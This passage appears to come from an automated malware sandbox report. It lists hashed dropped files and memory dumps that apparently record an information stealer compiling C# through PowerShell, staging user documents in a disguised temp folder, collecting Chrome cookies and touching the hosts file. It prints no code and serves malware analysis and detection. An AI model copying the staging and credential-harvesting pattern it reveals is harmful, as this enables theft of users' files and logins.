SHA256
f5631d92e9da39a6a1e50899d716eac323829d423a7f7fa21bd5061232564370

SHA512
0e03ba8c050aeadf88c390e5ea5e8e278f873885c970b67d5bc0675d782233a2925e753dae151c7af9976f64c42eba04a4dcec86204e983f6f6f2788a928401c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ub3lofde.yzz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\jbjby0jr\jbjby0jr.dll

Filesize
4KB

MD5
e06355b126664f5e2c085336f5868347

SHA1
af6591404f0d22374b8a9ebf983682f3590f4fa7

SHA256
c0636ef0c70b349fafc320b4fd097b0f1e9848994df6d8a786a61d8ea557e44f

SHA512
f2a72a51d0e47c095b02efd7c04ee520fd4a03639408fbf5e61183ea20c2b4ac69502dac75db3a429cde365377fe020f042ac653cc4a71c8cb398e756a06d955

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‍\Common Files\Desktop\InitializeBackup.jpeg

Filesize
783KB

MD5
693c13d4a31f73fd65acc46c9f5fb3fc

SHA1
3887a2b5dc12135bbac3af4da15c4cf15853d718

SHA256
8b64d1e3bd08c37ba956b05530ffcd18d75ae93f604f4e3510d0c021e01938ce

SHA512
20a9ce773293b32aa2ac399755498e9bfd9507690862da08ecd857844c738b2b29ca48c0fc6cb9c84e7899913a21deed2032de93f8f14e5aa8b97c4669776cc7

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‍\Common Files\Desktop\ResizeJoin.png

Filesize
470KB

MD5
7b9068424c6076f8b92db488cd5511df

SHA1
5c1939b0fb594826f69b8ad82c6d56bf691de946

SHA256
4bacb95ddd4a219005a3a3dddfcf813bbe8097f2c7fdd3dd3e0ff527768671ef

SHA512
a356479075aaad9b77f28d0efeb6f97685d8b69d132a763edd14ea19c2fea0207201a102e8ef01a0ef314db08551b3a0efab21749b5bb5e0bc1c7fd964b198f2

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‍\Common Files\Documents\ReadStep.doc

Filesize
714KB

MD5
80140e0b3694f2dda3512dbf309df718

SHA1
945d197540859ec560d646b98e3f11df9b0dde77

SHA256
f801269fc423d6da908cf0aa1c3675b83b91ab3d687a77602d7a2ecedbc9fff8

SHA512
a05b967bfe9274c30b0c21e9bc84361aafd351fadbc5556d9ad70fe101e02dc599be0c5e389850c676d5152f87fb87089f50ea8c6b4552d79828c11b8ac4c526

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‍\Common Files\Documents\SplitBlock.txt

Filesize
1.8MB

MD5
572bdd593dabbd979b891625db376a36

SHA1
d23dfb845a9e54df215350523dc3c265bf1730fb

SHA256
2714378feeddf98ce8de5aea2d2a6fc656ba2767941eeb78f0d5c5f7eae3dc5d

SHA512
52dc9f85a2ce6cf959c889d65a7f94e40d95fca7c30485894aa5d7c827e4b440ad7e0ec7585450a6824c398a8a636776bfc3b4ee9b33e5fe09250f65174eb2a9

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‍\Common Files\Downloads\BackupApprove.ppsx

Filesize
295KB

MD5
b7bc8b7bad77e520ad4a076528b8d2c3

SHA1
4247cffa316d72e6df60d74c6f8dc940da863caa

SHA256
858b277fe8fca1f3a4cb4664864382d6ebcc76c16df14da6f78d3b3df1a8bde8

SHA512
4e55c5fae91b54d80d5d9790f4ecfe472cb636b9c659ef1cef20895e5c2231baea5be4cf6704df050cf7fffbf0e74cb72d87048d5df2b9424a1b7e472b160a6f

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‍\Common Files\Downloads\BackupLock.ico

Filesize
221KB

MD5
53f70116242145b53713138eafc0b756

SHA1
e3b3a255cb9d6f0e0c2715ec0c3fc6cabf1067f4

SHA256
b079b59707bc3b375f7363eb24fb36fcf6a80578fa6e7aa1789d5455005f6bae

SHA512
9a9ff5dc3518ab04e75b74f4aecf56f00dcea1a22b827dc49df8c32a4d62b94224e5af87df8e32e1e382ab28a6abca6b1aaaf2acae6b8c51447332b9bb8e8f29

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‍\Common Files\Downloads\NewSkip.mp4

Filesize
502KB

MD5
d0359d062e4d2ad8c1050f849e029a6c

SHA1
312199a6c945d50ec31a035219fae47dfa0b64d6

SHA256
be46cdb5847a2b15a6fc9815fbcbed178d16f146b77c5bcc4c8d21a813084c6f

SHA512
0797f7a0a581c1016a541650f465596ec9febfe8e998593c9bee5b2b08208ea3d2d04d5749854d9a9106ea88e13bff63e4c70af4c83d16bc0215e00bf89139e1

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‍\Common Files\Downloads\ReceiveEnter.mp4

Filesize
636KB

MD5
edde553d6cf6967fdcd7e8ab061c250d

SHA1
395c74a0f020ce0c4bde242c68f9c2ab5373ab22

SHA256
aac6707f44f28d3c3d8dbbe33b18d817e953cda4bbb818a070698474d61154cb

SHA512
729a4fbd04c3acbdfcdfb3b68a5124f4a8c6da0e5976531507b908faf05f5f8e2ec88cfce61539bdb77eea080a88c15d418de48b6cc28d6bd2aed1682f892d31

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‍\Common Files\Pictures\GrantBlock.jpg

Filesize
430KB

MD5
eeea6244309020e737df38b049d511ea

SHA1
52d92cab3cb1887411fed9d65fd4d26e3370cd25

SHA256
c7672c9fef1309712ee9ad8119863daf5b89da9addb8b9adb586dbb4264d225d

SHA512
dd735100fb2cc1a68f121250f9c12b6961d81f11e12b567cd06abdc5432e78f7b2c650b7c1e6eb24333218084c19ac5bddfd07b1909c51e37058bc90ad03c444

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‍\Common Files\Pictures\My Wallpaper.jpg

Filesize
24KB

MD5
a51464e41d75b2aa2b00ca31ea2ce7eb

SHA1
5b94362ac6a23c5aba706e8bfd11a5d8bab6097d

SHA256
16d5506b6663085b1acd80644ffa5363c158e390da67ed31298b85ddf0ad353f

SHA512
b2a09d52c211e7100e3e68d88c13394c64f23bf2ec3ca25b109ffb1e1a96a054f0e0d25d2f2a0c2145616eabc88c51d63023cef5faa7b49129d020f67ab0b1ff

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‍\Common Files\Pictures\ReadRename.jpeg

Filesize
522KB

MD5
e8d76269c2f9abc9cb1197b8053bbaed

SHA1
68b6e2a0e7e41e62fae3d0851946feb11450786d

SHA256
41826b17e4380cb89ec02dc3e24e02ccb1daad584f317034e1324cbbdc3a6268

SHA512
195b9bf7d382d92af3d8df2dc3b28418dabad892c9a4bb053ab4622febeda309aa98f283c2cc66771d8620c54ea011a7626f59217bfc92aa6a992e541bbae2ba

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‍\Credentials\Chrome\Chrome Cookies.txt

Filesize
258B

MD5
35ccd511b88be4f0342fd46bcfd61c8d

SHA1
43fed128a4d892ec33fcc5c277947d93cae9a119

SHA256
3888f10ac5115b3adc16ba8f582acd860591c63a6b79584653b60e5ec609aac4

SHA512
13f1e18f87c00ea9827b928f659c08687f070bce978f2fc0c922016fcb8aa1ec54a601c51bbf8ba98e1a69571d2e7eca8795a79cc9403f63dfdf12440e6f9f4d

Download Submit
C:\Windows\System32\drivers\etc\hosts

Filesize
2KB

MD5
f99e42cdd8b2f9f1a3c062fe9cf6e131

SHA1
e32bdcab8da0e3cdafb6e3876763cee002ab7307

SHA256
a040d43136f2f4c41a4875f895060fb910267f2ffad2e3b1991b15c92f53e0f0

SHA512
c55a5e440326c59099615b21d0948cdc2a42bd9cf5990ec88f69187fa540d8c2e91aebe6a25ed8359a47be29d42357fec4bd987ca7fae0f1a6b6db18e1c320a6

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jbjby0jr\CSC1D5D9ABEDE91416D8A0F0FECABFFEAC.TMP

Filesize
652B

MD5
33db58bf8daf1deb36d07c2fd7bdc6bf

SHA1
ef1edfcfd6c25378cc946e6357857bcd3d5e600a

SHA256
a8e669e97d253f8c2e6e80ba3a8dd79163c882b3a35cf99e3501f422206d0644

SHA512
ab1c60ce27afd8ac6c948b478cb5ef5118277aaff052323698cfb194c6abf689e44def4c80388e260638e9cf8ec37b90e16fa77c5a5c3b0c6d161666a3768127

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jbjby0jr\jbjby0jr.0.cs

Filesize
1004B

MD5
c76055a0388b713a1eabe16130684dc3

SHA1
ee11e84cf41d8a43340f7102e17660072906c402

SHA256
8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

SHA512
22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jbjby0jr\jbjby0jr.cmdline

Filesize
607B

MD5
9facc9ac52ea0d2621ea3c0dc3e81573

SHA1
ba9e4601ea52b2e0db49ea58c1cd655510611774

SHA256
6b0b87a6a6b815c5c6741ab6f9a26148ff0403536abf7ba704c5b22f5e55be65

SHA512
4f06ddc073a0831183798dc5db42a6674a6eadd8cc55ddeaccb743fa3a7e6bb120752389651c7cfc8eee60724861d0768a4f833da5511253112e4408ecdceb8c

Download Submit
memory/1620-191-0x00000267F0770000-0x00000267F0778000-memory.dmp

Filesize
32KB

Download
memory/1624-58-0x00007FFE5C1E0000-0x00007FFE5C203000-memory.dmp

Filesize
140KB

Download
memory/1624-25-0x00007FFE4D2B0000-0x00007FFE4D8A0000-memory.dmp

Filesize
5.9MB

Download
memory/1624-166-0x00007FFE613C0000-0x00007FFE613CD000-memory.dmp

Filesize
52KB

Download
memory/1624-109-0x00007FFE58DF0000-0x00007FFE58F66000-memory.dmp

Filesize
1.5MB

Download
memory/1624-72-0x00007FFE63F80000-0x00007FFE63FA4000-memory.dmp

Filesize
144KB

Download
memory/1624-73-0x00007FFE4CA50000-0x00007FFE4CF79000-memory.dmp

Filesize
5.2MB

Download
memory/1624-75-0x00007FFE63320000-0x00007FFE6332F000-memory.dmp

Filesize
60KB

Download
memory/1624-67-0x00007FFE4D2B0000-0x00007FFE4D8A0000-memory.dmp

Filesize
5.9MB

Download
memory/1624-68-0x00007FFE5BF90000-0x00007FFE5BFC3000-memory.dmp

Filesize
204KB

Download
memory/1624-338-0x00007FFE613C0000-0x00007FFE613CD000-memory.dmp

Filesize
52KB

Download
memory/1624-69-0x00007FFE59010000-0x00007FFE590DD000-memory.dmp

Filesize
820KB

Download
memory/1624-63-0x00007FFE5C1C0000-0x00007FFE5C1D9000-memory.dmp

Filesize
100KB

Download
memory/1624-246-0x00007FFE5BF90000-0x00007FFE5BFC3000-memory.dmp

Filesize
204KB

Download
memory/1624-64-0x00007FFE613C0000-0x00007FFE613CD000-memory.dmp

Filesize
52KB

Download
memory/1624-269-0x00007FFE59010000-0x00007FFE590DD000-memory.dmp

Filesize
820KB

Download
memory/1624-271-0x00007FFE4CA50000-0x00007FFE4CF79000-memory.dmp

Filesize
5.2MB

Download
memory/1624-272-0x000001832A800000-0x000001832AD29000-memory.dmp

Filesize
5.2MB

Download
memory/1624-60-0x00007FFE58DF0000-0x00007FFE58F66000-memory.dmp

Filesize
1.5MB

Download
memory/1624-74-0x000001832A800000-0x000001832AD29000-memory.dmp

Filesize
5.2MB

Download
memory/1624-56-0x00007FFE5C210000-0x00007FFE5C229000-memory.dmp

Filesize
100KB

Download
memory/1624-54-0x00007FFE5C870000-0x00007FFE5C89D000-memory.dmp

Filesize
180KB

Download
memory/1624-32-0x00007FFE63320000-0x00007FFE6332F000-memory.dmp

Filesize
60KB

Download
memory/1624-29-0x00007FFE63F80000-0x00007FFE63FA4000-memory.dmp

Filesize
144KB

Download
memory/1624-110-0x00007FFE5C1C0000-0x00007FFE5C1D9000-memory.dmp

Filesize
100KB

Download
memory/1624-83-0x00007FFE5C300000-0x00007FFE5C41C000-memory.dmp

Filesize
1.1MB

Download
memory/1624-82-0x00007FFE5C1E0000-0x00007FFE5C203000-memory.dmp

Filesize
140KB

Download
memory/1624-77-0x00007FFE5C870000-0x00007FFE5C89D000-memory.dmp

Filesize
180KB

Download
memory/1624-80-0x00007FFE5CC50000-0x00007FFE5CC5D000-memory.dmp

Filesize
52KB

Download
memory/1624-78-0x00007FFE63300000-0x00007FFE63314000-memory.dmp

Filesize
80KB

Download
memory/1624-294-0x00007FFE58DF0000-0x00007FFE58F66000-memory.dmp

Filesize
1.5MB

Download
memory/1624-288-0x00007FFE4D2B0000-0x00007FFE4D8A0000-memory.dmp

Filesize
5.9MB

Download
memory/1624-289-0x00007FFE63F80000-0x00007FFE63FA4000-memory.dmp

Filesize
144KB

Download
memory/1624-323-0x00007FFE4D2B0000-0x00007FFE4D8A0000-memory.dmp

Filesize
5.9MB

Download
memory/1624-347-0x00007FFE5BF90000-0x00007FFE5BFC3000-memory.dmp

Filesize
204KB

Download
memory/1624-351-0x00007FFE5C300000-0x00007FFE5C41C000-memory.dmp

Filesize
1.1MB

Download
memory/1624-350-0x00007FFE5CC50000-0x00007FFE5CC5D000-memory.dmp

Filesize
52KB

Download
memory/1624-349-0x00007FFE63300000-0x00007FFE63314000-memory.dmp

Filesize
80KB

Download
memory/1624-348-0x00007FFE4CA50000-0x00007FFE4CF79000-memory.dmp

Filesize
5.2MB

Download
memory/1624-346-0x00007FFE59010000-0x00007FFE590DD000-memory.dmp

Filesize
820KB

Download
memory/1624-345-0x00007FFE5C1C0000-0x00007FFE5C1D9000-memory.dmp

Filesize
100KB

Download
memory/1624-344-0x00007FFE58DF0000-0x00007FFE58F66000-memory.dmp

Filesize
1.5MB

Download
memory/1624-343-0x00007FFE5C1E0000-0x00007FFE5C203000-memory.dmp

Filesize
140KB

Download
memory/1624-342-0x00007FFE5C210000-0x00007FFE5C229000-memory.dmp

Filesize
100KB

Download
memory/1624-341-0x00007FFE5C870000-0x00007FFE5C89D000-memory.dmp

Filesize
180KB

Download
memory/1624-340-0x00007FFE63320000-0x00007FFE6332F000-memory.dmp

Filesize
60KB

Download
memory/1624-339-0x00007FFE63F80000-0x00007FFE63FA4000-memory.dmp

Filesize
144KB

Download
memory/2012-89-0x000002ACB7120000-0x000002ACB7142000-memory.dmp

Filesize
136KB

Download